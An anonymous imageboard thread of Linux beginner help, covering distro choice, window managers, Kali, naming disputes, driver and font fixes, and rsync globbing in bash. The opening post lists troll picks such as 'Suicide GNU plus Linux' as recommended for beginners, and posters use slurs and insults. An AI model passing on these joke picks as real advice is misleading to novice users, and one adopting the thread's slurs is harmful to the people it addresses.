Old thread is near bump limit
Intended for users of all levels, including absolute beginners.
There are three ways to try GNU plus Linux, you can:
1) Install a GNU plus Linux OS on a VM (Virtual Machine/VirtualBox) for "safety purposes"
2) Use the Live ISO directly without installing anything, that way, you can get a "full GNU plus Linux experience".
3) Go balls deep and overwrite everything with GNU plus Linux (very recommended, for your freedom)
If you are serious about switching to GNU plus Linux and if you have Windows dual-booted (recommended for pure newbies),
we recommend you use it exclusively for 2 weeks, and avoid Windows dual booting for that period of time, or it's
likely you will start retreating back to windows instead of getting used to GNU plus Linux as your new home and working on
making it feel the way you want it.
>Recommended for beginners:
-SourceMage (http://beta.sourcemage.ru)
-Trisquel [Recommended]
-Suicide GNU plus Linux
Before asking, please find the answers to your questions in resources.
Please be civil, notice the "Friendly" in every Friendly GNU plus Linux Thread.
Understand that much of your software from Windows will be unavailable, although maybe wine can make up for it.
Resources:
man <insert command here>
your friendly neighborhood search engine
>>>/g/sqt
https://www.codecademy.com/en/courses/learn-the-command-line
https://wiki.archlinux.org/
https://wiki.installgentoo.com/
What is GNU plus Linux?
https://wiki.installgentoo.com/index.php/GNU/Linux
Babby's First GNU plus Linux (What GNU plus Linux distro to choose?)
https://wiki.installgentoo.com/index.php/Babbies_First_Linux
What software does /g/ recommend? (Please DON'T include the so called infographic -- refer all your recommended software here.)
https://wiki.installgentoo.com/index.php/List_of_recommended_GNU/Linux_software
Ricing on GNU plus Linux (Make it good and functional or make it worse like those at desktop threads)
https://wiki.installgentoo.com/index.php/GNU/Linux_ricing
A script designed to ease the transition from Windows to Debian
https://github.com/Chocolate-Chip-Computing/DebianNewbieScript [CREATED BY A FURRY BRONY FAGGOT]
We now have an entry in the install Gentoo wiki!
https://wiki.installgentoo.com/index.php//flt/
IRC No one uses:
irc://irc.freenode.org:+7000/FriendlyLinux [CREATED BY SAME FURRY BRONY FAGGOT]
Have been using i3 for a while now, but was wondering, is there any tiling wm that does more of a 'box fitting' rather just container-in-container. e.g. lets me easily put two half-width windows under three third-width windows?
I have no WM experience other than i3
>>51716026
>>51716026
lol ur banned in wiki
ayo
I have this bunch of data I want to sort, all good, however, if I pass the head, the head doesn't want to change so the list is sorted but the head still is the original thing. So likeint main() {
FileStructure f;
Node head;
//loadFile(string file, Node &head);
f.loadFile("derp.bin", head);
//Sort(Node* head);
Sort(&head)
}
Now, if head was originally "qq", it's still "qq" now, but if I print the entire list from the head node, I do get "qqrrssttuuvv" etc, but not what's supposed to come before. However, if I print the list in the sort function using the passed head pointer, I do properly get "aabbccdd" etc.
How do I get around this? I tried making Sort return the head pointer but then I don't know how to make the main head be the newly made head.
>>51716198
awesome can do that and pretty sure bspwm can, although the latter you need to choose where it's going to go a bit like i3.
>>51716026
>-SourceMage (http://beta.sourcemage.ru)
>-Trisquel [Recommended]
>-Suicide GNU plus Linux
HEY MOM LOOK WHAT I DID!!!!!
>>51716198
https://wiki.archlinux.org/index.php/Comparison_of_tiling_window_managers
>>51716201
That was, indeed, a very pleasant read. Freetards need to git gud.
>>51716212
Judy like I was banned like 7 times already on 4chins, bans are meaningless.
>>51716270
>>51716280
Thank you. No idea why I haven't seen that list before maybe my google-fu is weak.
>>51716233
Wrong thread m8
>>51716026
Superpleb here
Wanna start with Kali, but haven't tried any other Gnu OS's before.
Should I?
>>51717057
Why do you want to use Kali?
>>51717057
Start with Ubuntu. And no it's Linux, don't call it GNU. GNU is explicitly defined on http://www.gnu.org/distros/free-distros.html
>>51717090
because i got hacked by someone who booted my pc with it
and it comes with a lot of tools i find useful
>>51717101
my bad
>>51717111
>because i got hacked by someone who booted my pc with it and it comes with a lot of tools i find useful
umm what
>>51717111
Kali isn't good for everyday use
>>51717121
well, you wanted an answer, cba to write more.
>>51717137
writing a bunch of gibberish isn't the same as an answer. There is a reason we are asking you why you want to use kali.
>>51717136
Yeah, but I doubt I'll sit and write scripts/code all day if I use any other Linux OS since I just play vidya if I'm on my pc.
Again, from what I read, Kali has a lot of nice built-in tools..
Either way, I'm a total newb here, is Kali hopeless to begin with if I haven't tested out Ubuntu or Mint?
>>51717169
>Either way, I'm a total newb here, is Kali hopeless to begin with if I haven't tested out Ubuntu or Mint?
You've been told already.
Kali has nothing that you can't install in any other distro. It runs as root and is not meant to be use for everyday desktop use or for writing scripts/code.
>>51717169
Kali has a very specific use
If you're completely new most of the tools will be completely useless to you
Just install Fedora or stick to Windows
>>51717192
>Kali has a very specific use
Could you elaborate?
>>51717209
>unironically calling it GNU plus Linux
That's some high tier autism
>>51716201
It's still GNU/Linux, or as I've been calling it, the GNU operating system. The kernel wouldn't exist without GNU, while the GNU tools were widely used before Linux. Sorry deluded kid.
>>51717271
No. The kernel would still exists without GNU. Linus is NOT affliated with GNU project whatsoever. GNU can't make the init, kernel (lol, HURD?) and whatsoever.
>>51717239
Yeah, exactly.
But how hopeless would it be to start with Kali if I haven't tried any other Linux?
And help me out here, if Kali is off for me as a beginner, should I start with;
>Mint
>Fedora
>Ubuntu
or anything else?
And why?
>>51717292
Ubuntu or Debian
So I want to install Crux on my Virtualbox
What the fuck do I pick here
>>51717289
You seem very deluded. Linus needed GCC to compile his kernel and the development was made based on having the GNU tools like Bash to compile and run. The popularity of the Linux kernel in the 90s came thanks to GNU/Linux distros, without the GNU tools Linux would have been just another toy kernel.
>>51717310
Just Linux.
>>51717271
Way to ignore all of Linus' points.
>>51717314
So? That's the only thing that GNU can do, using the GCC, bash doesn't make Linus' product tied to GNU project. Nowadays it's irrelevant to call the system GNU/Linux.
In modern Linux system, http://pedrocr.pt/text/how-much-gnu-in-gnu-linux/ there is not much GNU anymore, the data was in 2011, remember: 2011. Systemd would have taken over GNU's position by now. So it's irrelevant.
so im looking to try out debian
http://cdimage.debian.org/debian-cd/current-live/amd64/bt-hybrid/
on this page, what does standard stand for?
is it like text mode or is it GUI
I had to install wl ( https://wiki.debian.org/wl ) to get my Wi-Fi to work on Debian.
I did that and now it works, but whenever I type "wl" I get a command not found.
What's going on?
It has to be there because it's working
>>51717358
The base system is still heavily GNU, including the C library, which is arguably one of the more important components in an UNIX system, and the coreutils, and the compiler, etc. You can use Busybox, musl libc and clang if you for some reason hate the GNU project, and call your distro Linux minus GNU or whatever you like, but the reality if that 90 % of the "Linux" distros out there are still GNU-based.
i was trying to find a ''stupid questions general'' thread, but i guess this one will do.
is there any reason a casual computer user like me should switch to linux other than to make myself look more 1337? i don't program or code.
>>51717302
Noob here again
Is coding in Kali more difficult than in Debian or Ubuntu?
Does it really differ?
I don't know shit desu
Just wanna get straight on the point
>>51717403
So? Do the distros (Red Hat/Fedora, Ubuntu, SUSE) call it GNU/Linux? No! Because Linux is easier to pronounce and much more marketable than adding "GNU".
FSF-GNU is also a laughing stock nowadays. They can't get anywhere near the future, they're stuck in early 90s.
>>51717403
It's called Linux because it sounds cooler.
>>51717422
Stop trying to be a hacker
>>51717405
freedom
if you don't care, then no
>>51717422
Kali is for hacking shit
If you don't already know how to do that have experience with the tools it comes with it will be useless to you
>>51717429
I thought this was a friendly thread
>>51717446
That doesn't mean we won't tell you to stop doing stupid things.
>>51717422
This is why people shouldn't watch Mr Robot
>>51716277
> Trisquel [Recommended]
>Look mom, I posted it again.
If you are using Manjaro, You have zero security and zero brains.
They didn't even acknowledged their mistake and removed the page.
There is a blog post about it on soft Pedia.
>>51717564
http://archive.is/JeOLo
>>51717500
> sees mr. Robot.
>>51717446
Friendly, not retarded. You aint gonna hack shit, ok ? If you wanna start getting into programming or general computing, follow advices of this thread or, even better, of the general linux comunnity.
And just get a babby linux. Is better that a fucking kali. As if any serious pen. tester uses that shit...
>>51717399
pls respond guys
Hey /g/, I installed Kubuntu 15.10 yesterday. Spent the whole day getting nvidia proprietary drivers to work and configuring xorg.conf so that my TV's fucked up EDID was ignored and 1920x1080 was forced. At last, I managed it.
But there's still one big problem. Everything looks blurry as shit. Specially the fonts. It's horrible and hurts my eye. Impossible to use for extended periods of time. How can I fix this?
Lubuntu newbie here.
Are there any better terminals than XTerm?
>>51717654
http://wiki.archlinux.org/index.php/Font_configuration
>>51717669
Terminator
>>51717669
well the only drawback to xterm is it's slowness.
if you're familiar with xterm but want something different try rxvt-unicode.
It's almost as featured as xterm but considerably faster
Autist here:
Tried dual booting Windows and Debian
I already had windows 8.1 installed and I shrinked my SSD's size to make a partition for Debian.
I installed it on that 48GB partition but it boots into windows automatically? Boot menu setup (from my motherboard) doesn't help, whatever option I choose it either doesn't do anything or boots me into windows
Should I just format my SSD and start from scratch?
>>51717877
Yes, without dualbooting. Go full debian.
>>51717887
Need my gaymen senpai
>>51716201
>+Richard Stallman
>Stallman has a G+
forealz?
>>51717891
No, you don't.
>what is wine
>>51717987
I tried earlier this year with Linux Mint, and using wine for my steam games wasn't so pleasant. I'd rather make the most out of my system than limit myself to 1 OS.
>>51716026
>GNU Plus Linux
http://www.nask.co/hear/Rw6PSOq9vQ
I tried upgrading my kernel from 4.2 to 4.3, but now I get a kernel panic with "no working init found" on boot. If I'm interpreting it correctly, grub falls back to init=/bin/sh but this fails as well. I can still boot to 4.2 using the advanced options in grub. Using xubuntu 15.10.
I've been googling for an hour but haven't really found anything that helps. How do I go abotu troubleshooting this?
>>51716201
>>51718324
http://nask.co/see/8Is9gmuwnx
>>51717669
Konsole
Are there any WM's that let me group or pin windows to each other so they move around as one window?
>>51718881
That actually does sound like a nice thing to have.
>>51718881
I think i3 can do it, since it uses containers.
At least it should be possible with some hacking.
>>51717669
It's a terminal emulator not a terminal
>>51718881
tmux
>>51717917
Which do you think is more likely, a /g/ troll or RMS having g+ account?
>>51717389
Idk actually, but yeah it seems to be a text mode image, the ISO dir has files that show contents and actual packages if you want to look.
http://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/
Do you want to try an live-cd or an actual install?
Why doesn't screenfetch show gtk themes, icon theme or font theme?
Where does it look it up?
>>51718365
Sounds like an misconfiguration in the post-install hooks for the kernel.
Use the 4.2 kernel for the time being and I'd ask in the xubuntu irc channel.
Have you done something out of the ordinary on your system?
/sbin/init should work, if you want to manually edit the grub entry and try that, but if this happened on a normal upgrade, then I'd ask on irc.
You are installing the kernel from xubuntu repos?
>>51719105
https://github.com/KittyKatt/screenFetch/blob/master/screenfetch-dev#L1879
Linux looks like shit on my desktop. It looks good on my laptop however. What can I do to make linux look good?
>>51718978
I own the ``stallman'' reddit account.
It's shadowbanned tho
>>51719209
great question anon
>>51719209
I'd just like to interject for moment. What you're refering to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.
Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called Linux, and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.
There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called Linux distributions are really distributions of GNU/Linux!
>>51719222
Why am I not surprised..
>>51719318
jelly?
>>51716026
Why is this so hard?
All I want is an encrypted LVM spanning four hard drives.
I have Fedora installed as an encrpyted LVM on a 64GB SSD, and I want an encypted LVM of my four 2TB drives for mass storage.
All the tutorials I have found are for encrypting your boot drive after you install.
>>51720297
>tutorials
Read the fucking manual faggot
Should I use xinitrc or a DM when only using i3? I really can't find the advantage of xinitrc and I like the lightdm login screen
>>51720354
What's the point in a gui to log in?
>>51720354
>can't find the advantages of xinitrc
more like can't find the advantages of a DM
>>51717669
just go to the software center and download another terminal emulator...
>>51719264
http://www.nask.co/hear/zE3tbeGXNu
>>51720369
>>51720385
You guys got a point there but is it really as simple as logon screen vs. few MB's of memory?
(I now run i3 on ubuntu and trying to get a more lightweight and portable setup on debian so just considering some options while tinkering in VM)
>>51720433
Use what you want, what's the big deal? If you like lightdm then use it.
>>51720433
If you like your lightdm login screen just keep using it, this isn't rocket science
>>51720455
I was just wondering if I overlooked some major pro/con of one over the other. Apparently there's not that much to it
I'm on mint and screwing around with bluez, so I'm trying to start up bluez with my own parameters, but it seems mint already has something that starts it up and restarts it if it's killed, so I get this in my dmesg everytime I try killing it:
init: bluetooth main process ended, respawning
What's causing the respawning? Seems like it's something init related?
>>51716026
You idiot. You copypasted the shtipost version that the massive spammer plagued the wiki with.
>>51720545
He's the massive spammer senpai.
>>51720319
I'll admit, the Arch wiki has an excellent page on doing this, but it's also based on encrypting your main drive. Trying to convert all the commands and steps to my situation is very frustrating.
What would work better? LUKS on LVM, or LVM on LUKS?
>>51720545
It's the correct version senpaitachi
>>51720918
Shut the fuck up, Topkek420.
>>51720934
Gtfo Morpheus
>>51720934
Make me faggot.
>>51720946
>implying i'm morpheus
>>51720976
>implying you're not
>implying anyone would say that other than that faggot who recommends ubuntu
Am I supposed to download an additional thing for ncmpcpp for the visualizer to work?
>>51720991
>>51716026
how do I install xf86-video-amdgpu on fedora? No it's not in rpmfusion
>>51717564
Here's your (you) that you've been looking for for past few threads. I'm sorry no one cares what you think
>>51721481
for past*
>>51721454
copr
Xen PCI Passthrough
Wanted to try this, but if I run the Linux host off integrated graphics and the guest off the graphics card am I stuck needing a monitor for each one?
Or stuck needing a monitor switch?
>>51716026
>GNU plus Linux
No need to get pretentious, boy, it's just Linux.
so I got ubuntu with xfce installed (installed the xubuntu-desktop metapackage)
How do I fix these ugly as sin fonts on the desktop? Just get a different one?
>>51721566
install/change the icon pack you are using, look in the settings
>>51721534
>am I stuck needing a monitor for each one?
Pretty much, otherwise there would really be no point in not dual-booting instead.
>>51721518
what's the name of the repo?
>>51721547
Hardly anybody in these threads talks about the kernel
Why does Team Fortress 2 have those horrible lags using Ubuntu Gnome 15.10 and the Nvidia 355 drivers? It's unplayable. The lags seem to go away sometimes when I start a server, let everything load and then join another one, but that's pretty annoying. Any help? I don't have that problem with any other game (e.g. Infinifactory or Psychonauts)
>>51721973
Hardly anybody in these threads talks about GNU.
>>51716026
Gais, I have a bunch of thin clients (Fujitsu Futro S550) with AMD Sempron 1.4 GHz, some 1GB DDR2 and gbit ethernet. Only problem is, they have a 1GB CF card as boot medium.
My question: What distro would allow me to install a current browser (Firefox or Chromium) and still fit on the 1GB CF?
I've tried Arch and got all the way to having an X-server with xdm and xterm, but the size of gtk2 is keeping me from installing a useful browser. Puppy and those all seem to only have ancient browsers available.
I'm learning programming, but I was wondering what else will changing to Linux mint on my laptop will benefit me in.
The only things that I can think of other than muh freedumbs is:
-less bloat
-lower system requirements
Other than that, I don't really know anything about Linux or why someone who isn't schizophrenic would use it. What does it make easier for a programmer?
I see job offers that require someone with Linux experience and all that, but what exactly do these linux peeps do?
>>51722839
Have you ever tried to write a Hello World program for Windows?
Shit's way easier on Linux.
>>51717422
>Is coding in Kali more difficult than in Debian or Ubuntu?
No
>>51722839
>why someone who isn't schizophrenic would use it
Nice prejudice and ignorance.
>>51717422
haha, oh wow
>>51722839
Compilers are fucking shit on Windows.
Why my /g/entoomen, have we not made our own distro yet?
There are enough of us competent on here.
>inb4 gentoo is our meme.
>>51723324
Because it's pointless.
Is there a decent and simple firewall front end I should use? I've been looking at nftables but it's ridiculously complicated.
>>51722384
Bamppu
tl;dr: What linux distro fits on 1GB hdd with a modern browser installed?
What's the equivalent of pacman -Syu in apt?
Switched from W10 to Arch Linux.
Successfully found my way into open box and basic theming set up. Got tint2 running. Need a little help. Fonts are terrible.
I've got infinality's repositories added and updated. I have the first bundle installed.
>Lib32-freetype2-infinality-ultimate
gives me unresolved depencies for
>lib32-zlib
>lib32-bzip2
>lib32-libpng
>lib32-harfbuzz
How do I acquire whatever programs I need to acquire to resolve these dependencies? I haven't been able to find anything on it.
>>51724060
>Fonts are terrible
That'll usually fix itself if you just install a bunch of fonts
>>51722149
What about other source games?
>>51723324
The reason why thinks are so convoluted and hard to deal with is because of the amount of people working on the projects. Why have a ton of people work on a distro when you also have tons of people working on each package the distro uses outside of your control?
Just make one yourself, buddy.
New to Linux here, what is the best torrent client and other things I should install
(debian 8.2)
>>51724060
>Lib32
Is there no 64bit option?
>>51724060
Enable multilib.
>>51724060
look on the wiki for font configuration, it's simple to get decent fonts.
>>51722384
debian, arch, gentoo, ubuntu.. pretty much anything, really
>>51724060
You ideally don't want to install lib32 packages, because they depend on lib32 packages, and those packages depend on other lib32 packages themselves.
There are plenty of non-lib32 fonts out there. Use the Arch wiki, it's a good resource and starting point.
>>51717264
>not recognizing post-irony
It's like you don't even, senpai.
>>51724147
I don't believe so
>>51724201
Thanks. I thought I had it enabled but must not have since it's a fresh install.
>>51724211
The wiki told me to use infinality
Is it okay to use Linux for development and Windows for gayming? (dual booted)
>>51724051
apt-get update && apt-get upgrade
So I just got a Dell Chromebook 13/8gb and swapped out the 32 GB ssd with a 256/GB one.
Should I throw Debian Testing or unstable on it? It's not a question of technical competency, I can maintain/debug most Linux issues, I'm just curious which one is likely to be more "stable" in terms of frequency to fix things.
Is that sting more stable because it's had time to pass through unstable?
Is unstable more stable because fixes get pushed there quicker?
Sometimes I hear that testing is less stable because broken packages and dependencies may stay that way for months while unstable gets fixed pretty quick.
Any thoughts on this?
>>51724289
That is my setup, and it works fine. Arch is my goto OS. Only when I want to game I boot up Windows.
>>51724320
If you are competent, debian tends not to be the best. Generally a rolling release is better because you get the updates and bugfixes as they come. Debian doesn't have anything remotely like that in either testing or unstable. Other distros with slow releases tend to have a better unstable schedule and process than debian. This is all really my way of saying I don't really know.
Install gentoo.
>>51721708
The point would be not to have to reboot or so was my hope. But having to get up and swap a monitor cable is just as bad.
Damn guess its back to Windows and sticking Linux in VM. I just really prefer Linux, but its always those last few things that keep me nailed in Windows.
>>51724287
>The wiki told me to use infinality
no it didn't
What's the best software to manage a ~300GB music library on Linux? iTunes is pretty [and] neat in my opinion.
Clementine and Amarok are quite useless though, there's no real way of keeping the music organized nicely and/or finding the track I want to listen to quickly enough.
Also Clementine gets slow already when having just a few thousand tracks in it.
For smaller libs clementine is perfect, but for anything else the overview list is just too tiny, same goes for amarok.
>>51725144
quodlibet is pretty good.
For organizing puddletag is just amazing.
mpd+ncmpcpp or cantata works very well for me with a similar size library. As did quotlibet. Last time I tried gmusicbrowser it worked well but took a while to initially scan all the music.
Is there a reason the xfce theme manager won't install anymore? I'm trying to install it from the same ppa I always did, but it's saying it's not available. Is it incompatible with the new xubuntu or is the ppa dead?
>>51725144
deadbeef is the closest thing there is to foobar on linux if you were ever into that
>>51725257
That's not what he's looking for though, the things that make foobar so powerful for large collections are exactly the weak or non-existent points of deadbeef. No library support and no organization features.
>>51725277
>>51725257
>>51725238
Thanks guys, I'm going to take a look at quodlibet.
Is there a way to dual boot Linux on a mac mini?
I want to host some linux software on my mac mini and dont want to lose the ability to build ios apps
>>51716026
Guys, just recently I've switched to Elementary OS. I'm currently dual booting with Windows 7.
Is there a preset for mpv to achieve a quality at least close to MadVR for anime? Right now, I always boot in Windows 7 when I want to watch anything, but some times its annoying to reboot.
Also, is there a way to import uTorrent's torrents to Transmission? What is the best way to seed my torrents in Elementary?
>>51725687
you can always use bomi so you don't have to fuck around with manually editing the config, just change the scalers around in the right click menu and stuff till it matches what you want.
i use qbittorrent personally, but don't have issues with Transmission. not sure if there's an easy way to migrate all of your torrents, especially if the file path styles are going to entirely change going from windows to linux, any existing script prob won't know what to do with that.
>>51725338
if you're not afraid of the command line then beets is pretty good for organization
http://beets.radbox.org/
>>51725598
refit (or refind whatever is the newer one)
then make a partition before you restart into your usb
>>51725598
virtual machine bruh
I'm having problems setting custom resolutions in Mint 17 Cinnamon. I have a plasma TV that I connect to with HDMI that while it is considered a 720p (16:9) display, the actual native resolution is 1024x768 (16:9) due to non-square pixels. I found a vague guide on how to add custom resolutions to xorg but from what I can see there is no control over aspect correction.
If I set the output to 1280x768 (16:9), the aspect ratio is correct but there are downscaling artifacts and blurry edges everywhere and the picture is ugly as fuck. Choosing 1024x768 (4:3) looks beautiful and crisp but the aspect is all out, circles are ovals etc.
How can I force a custom resolution with aspect ratio correction and preferably have it show as an option in display settings? Mint Forums were extremely unhelpful and full of spergs. Any help appreciated, this Linux stuff is too complicated for an old egg like me.
>want to recursively rsync all hidden files and folders in my home directory
>rsync -av ~/.* /path/to/destination
>contents of "~/.." are included, recursively
>rsync -av --exclude=.. ~/.* /path/to/destination
>rsync -av --exclude='..' ~/.* /path/to/destination
>rsync -av --exclude=".." ~/.* /path/to/destination
>rsync -av --exclude="../" ~/.* /path/to/destination
>rsync -av --exclude="~/../" ~/.* /path/to/destination
>rsync -av --exclude="/home/*" ~/.* /path/to/destination
>try every combination of quotes, escape characters, full and relative file paths that I can think of
>try the same thing with "."
>nothing works
>everything in ~/.. is always copied, recursively, hidden or not
What am I doing wrong? Is this not possible?
>>51726013
You have to set the correct DPI for your monitor due to its non-square pixel ratio, for your display specifically you need to set DisplaySize to '260 195' in your xorg.conf, unless there is a way to do it through the GUI in Mint (I wouldn't know, I don't use it).
If there's no way to edit it through the GUI you'll have to open your xorg.conf (which is located in either /usr/share/X11/ or /etc/X11) in a GUI text editor with elevated privileges, or through a sudo'd terminal text editor like nano. Under a section marked Monitor, you'll want to add an indented line that says
DisplaySize 260 195
Hopefully that should fix it with your res set to 1024x768. Good luck.
Source for DPI and stuff: http://www.avsforum.com/forum/76-htpc-linux-chat/1126663-1024x768-native-resolution-16-9-hdtv-nvida-ubuntu.html
>>51726132
>contents of "~/.." are included, recursively
>rsync -av --exclude="/home/*" ~/.* /path/to/destination
You are both including ~/.. and excluding /home/*
~ means your home directory aka /home/[your username]
.. means the parent directory
so ~/.. means the parent directory of your home directory.
Which is /home.
stop including ~/..
>>51721534
>>51721708
>>51724606
Okay with Xen Passthrough, if I hook the integrated in through the DVI line and the GPU in off the HDMI port then could I just swap between them by toggling the monitor between the two inputs.
Also it seems difficult to find a guide for this, granted it has a wiki, but the wiki is less than friendly.
Mpd doesnt detect my songs in ncmpcpp. How can I fix that? i'm using awesomewm and arch btw
Do any of you know how to edit the buttons inside windows in xfce? I'm trying to get rid of the curves in greybird and I've edited the titlebar to have straight edges, but I can't see anything similar for the buttons and tabs inside windows. Do I have to edit one of those text files in the gtk-3.0 folder or something? Googling doesn't turn up much, probably since I'm not sure what terms to enter.
What do you guys think of architect
>>51726390
It's an easy way to install Arch with a bunch of basic packages, some of which you might not need. Not much else to be said about it. If you want to go really minimal it's best to do a manual install.
>>51726308
>stop including ~/..
Much easier said than done, apparently. That's my entire problem. I understand what "~/" and ".." do, and what "~/.." is.
I want to copy everything in ~/ (my home directory) that starts with "." (is hidden) and isn't "." (my home directory) or ".." (its parent directory).
Thus my attempt to "stop including ~/..", which I've described:>rsync -av --exclude=".." ~/.* /path/to/destination
The problem is, it doesn't work.
>>51726354
set mpd and ncmpcpp to look in the music location.
What's the best distro for lightweight streaming and general media use and maybe drawing
>>51726484
how to do so?
>>51726516
read the fucking documentation/wiki
>>51726516
confs
>>51726465
That makes me wonder at which point does minimalism meet diminishing returns. It always seems you end up needing those basic packages at some point or another. It depends on what they are, but I've run minimal distros before and I ended up wasting time pulling dependencies for things that just come with other distros. There is definitely shit you just don't need, though.
>>51726476
>rsync -av ~/.* /path/to/destination
Shouldn't you be doingrsync -rav ~/ /path/to/destination
besides that try using the actual home directory path instead of ~
>>51725966
Finally I understand. Nice dubs.
>>51726648
-a implies -r. Using the full path to the home directory makes no difference.
hi. this is probably the best place to post this as i refuse to make an entire thread about a tech support question.
im trying to get wow going using playonlinux. it runs. but the fps is quite low and there is a lot of sound stuttering. also every time i boot the game it resets the game settings and brings up the server list..
could someone help with any config changes i should make or something that i can do to make the game more playable. should i even be using playonlinux. should i just be using wine?
i have a gtx 680 and i am using the proprietary drivers
>>51726132
Hello. I am "Mr. Likes To Read Posts". I hereby inform you, that I read your post from the beginning to the end, including the post number, the name you posted with, the name of the image and the number 4chan has given to it as a new name. If you posted a thread, I also read the subject of it. Further I want to inform you that I agree, partly agree, disagree, partly disagree or that I also abstain from having an opinion to the content of the information your post or thread contains.
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(Д人Д) г-н любит читaть cooбщeния
>>51726645
Well, my full daily Arch setup with media players, office, DE, web browsers, VMs etc. consists of 601 packages. A typical *buntu installation has over 2000. I don't know what the hell most of them are for.
>>51726775
I would use straight Wine, and reference the WineHQ DB listing for WoW to get your settings straight.
https://appdb.winehq.org/objectManager.php?sClass=version&iId=32314
Further Reference for actually installing: https://help.ubuntu.com/community/WorldofWarcraft
>>51726735
simply;rsync -av ~/. /destination
>>51726817
Shit you genuinely never use, mostly. It is nice typing in a command on a fresh install and finding out you actually have it already, though. Especially when it comes to libraries and programming related bullshit.
For a general pornograph, you can easily go minimal, but the moment you get into shit that linux is actually useful for, all hell breaks loose and you end up with 6 programs that all do the same thing, but do it differently enough that you need at least 5 of them. That's where a lot of the alleged bloat comes from, mostly very small packages.
I'm not defending bloat though, most distros come with too much shit that you will never see. It's just on the minimal side, there are tons of distros that don't have something as basic as the lua interpreter.
I'm currently running Linux Mint, pic related, and I find I don't actually use it for much besides 4chan and music so I figure I could remove a fair amount of what comes with Mint. Would it be easier, for a relative beginner, to do that or to start from scratch with something else?
Also, I am most familiar with Debian Linux, so I probably can't into Arch.
>>51727738
You can do a Debian Minimal install.
>>51727738
>Lappy
you wanna get hit?
start from scratch, use a minimal Debian iso if you want to stick with what you're familiar with. in reality, Arch isn't that difficult. the documentation is easy to follow and verbose. the people that inhabit the community are shit though, and things will eventually break.
Really though, you should look into Gentoo.
>>51727844
>threatening violence over terminology
get help you douchemonger
>>51726888
As I would expect, this has the same result as "rsync -av ~/ /destination". That is, it copies everything in the home directory whether it's hidden or not. I only want to copy hidden files and folders.
>>51728324
>telling SAM HYDE to get help
>mfw coming back to my precious linux machine after hours of being forced to use the disgusting filth that is windows
>>51717271
No one gives a flying FUCK what you call it you pedantic manchild
>>51717345
>that image
top kek
>>51726268
Thanks, good advice, would give you a quickie behind the server racks.
>>51728422
oh, ONLY hidden, my bad, didn't read everything you wrotersync -av ~/\.* /destination
you need to escape the "." so it's only interpreted as a literal . character
>>51728757
keep in mind the "." and ".." in directory listings and the like are not "real", so the literal "\." and "\.\." won't match those
>>51728757
I am using -n to do a "dry run", so that I can see what would be done. When I run this command with -n, the result is that everything within /home/ is copied, recursively, including other user's stuff, whether it's hidden or not. The only explanation that I can think of is that ".." is matching "~/\.*". I haven't been able to overcome this problem. Could there be another explanation? Maybe it's just a bug? What does it do on your machine?
>>51728986
works as intended here% rsync -avn home/user/\.* /tmp/der
sending incremental file list
.file
.folder/
% ls -aR .
.:
. .. home
./home:
. .. otheruser user
./home/otheruser:
. .. otherfile
./home/user:
. .. file .file folder .folder
./home/user/folder:
. ..
./home/user/.folder:
. ..
>>51728986
>>51729094
post an exact command you're using (feel free to alter folder/user names, but don't touch any spaces or punctuation, they may be important)
>>51717557
sheeit
Should i not install it then?
Will my steam run on it?
>>51719237
>>51729364
>Will my steam run on it?
i guess
>>51729164
"-a" is the same as "-rlptgoD". To simplify things and eliminate potential causes, I switched to "-rvn" and full paths. Since nothing is actually being copied, I'm just using "/" as the destination. Here's the command and abridged output:~$ rsync -rvn /home/user_1/\.* /
sending incremental file list
.Xauthority
.Xresources
.bash_history
.bash_profile
.xinitrc
.cache/
.config/
.local/
.ssh/
.themes/
Downloads/
user_1/
user_1/.Xauthority
user_1/.Xresources
user_1/.bash_history
user_1/.bash_profile
user_1/.xinitrc
user_1/.cache/
user_1/.config/
user_1/.local/
user_1/.ssh/
user_1/.themes/
user_1/Downloads/
user_2/
user_2/.bash_history
user_2/.bash_profile
user_2/.ssh/
I know that in regular expressions you have to escape dots if you want to match literal dots, but it works differently in bash, doesn't it? In any case, I get the same result with or without the backslash.
I'm using version 3.1.1
>>51729438
oh yea, bash
i'm using zsh, if i run my command from bash i get your issue as well% bash :(
$ rsync -avn home/user/\.* /tmp/der
sending incremental file list
./
.file
file
.folder/
folder/
otheruser/
otheruser/otherfile
user/
user/.file
user/file
user/.folder/
user/folder/
seems i've gotten used to how zsh works
>>51729564
Well, that's a hint, at least, as to the root of the problem. Thanks for your help.
>>51729720
np, the thing the shells are doing is called "globbing", incase you don't know
i had a quick look around but i'm not sure how to do the same in bash
which distro is the most idiot-proof to rice?
considering LXDE
If you're fresh into XFCE or don't configure it, do yourself a favor and install Openbox and replace xfwm4.
Well, I installed Linux Mint. Are their any good guides on setting up OpenBox or another good WM so it does not look like shit?
>>51731188
>name account "anon-kun"
>name your pc after yourself
https://wiki.archlinux.org/index.php/Openbox
https://urukrama.wordpress.com/openbox-guide/
How ghetto is my logging?
How to replace libsystemd and systemd with eudev? I have openrc set up but could not get it to use eudev, it still looked for systemd-udev duting boot and there is very little info online.
>>51733030
it would help to know your distro
>>51717669
Tilda 4 lyfe
>>51733030
put -udev -systemd in your make.conf and mask the packages for good. evdev is a fork of udev so some parts are still called systemd-udev. Don't forget to rebuild your @world
>>51733030
>wants to replace systemd
Do you want to live in a desert island too?
>>51733949
here we go
>>51733030
you could also look at vdev, a new udev (and optionally consolekit) replacement
Can someone give me a basic run down point me in the direction of a tutorial for setting up SSH on Ubuntu server?
>>51734500
Nevermind I'm fucking retarded.
Are the network interface names tied to the distro, network card or both in combination?
How compatible with linux programs is bsd? At one point it may as well have been windows. I'm not usually one to give a single fuck about things like this, but I really like the default tools, licensing and overall philosophy. I'm leaning heavily towards arch, but would just as easily try something completely different if it works with everything without more fuckery than usual from a mature enthusiast distro.
>tl;dr how posix compliant are the usual linux programs, does bsd have the same volume of binaries as linux, and is compiling from source better or worse than gentoo as far as migraines go?
>>51734848
https://www.freebsd.org/doc/handbook/linuxemu.html
